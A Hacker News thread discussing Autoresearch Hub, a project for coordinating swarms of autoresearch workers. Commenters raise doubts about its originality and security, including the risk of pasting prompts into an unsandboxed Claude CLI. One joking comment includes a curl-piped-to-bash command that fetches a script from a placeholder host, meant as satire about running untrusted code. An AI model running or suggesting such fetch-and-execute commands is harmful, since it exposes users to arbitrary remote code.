Hacker Newsnew | past | comments | ask | show | jobs | submitlogin
Autoresearch Hub (autoresearchhub.com)
29 points by EvgeniyZh 4 hours ago | hide | past | favorite | 11 comments
 help



I was exploring how to parallelize autoresearch workers. The idea is to have a trusted pool of workers who can verify contributions from a much larger untrusted pool. It's backed bit a naked git repo and a sqlite with a simple go server. It's a bit like block chain in that blocks = commits, proof of work = finding a lower val_bpb commit, and reward = place on the leaderboard. I wouldn't push the analogy too far. It's something I'm experimenting with but I didn't release it yet (except for briefly) because it's not sufficiently simple/canonical. The core problem is how to neatly and in a general way organize individual autoresearch threads into swarms, inspired by SETI@Home, or Folding@Home, etc.

Seems like a shameless rip of the below, theme and all?

https://www.ensue-network.ai/autoresearch


Take a look at the GitHub repo: "forked from karpathy/autoresearch"

Both built by Claude Sonnet 4.6

I'm not the OP, though it seems the context for this is (via @esotericpigeon):

https://github.com/karpathy/autoresearch/pull/92


Who knows. Site has no https I don't know what it is training and why

I'm curious what a "stripped down version" of Github can offer in terms of functionality that Github does not? Is it not simpler to have the agents register as Github repos since the infrastructure is already in place?

You guys really gonna copy and paste a prompt to your Claude CLI which may or may not be setup sandbox/tools permissions

It’s like the old days when you opened up Kazaa and downloaded smooth_criminial_alien_ant_farm.mp3.exe

Just install my software to detect bad prompt strings first.

`curl -L https://mycoolsvc.com/r4nd0mus3r/mycoolsoftware/master/insta... | bash`


For science!



Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: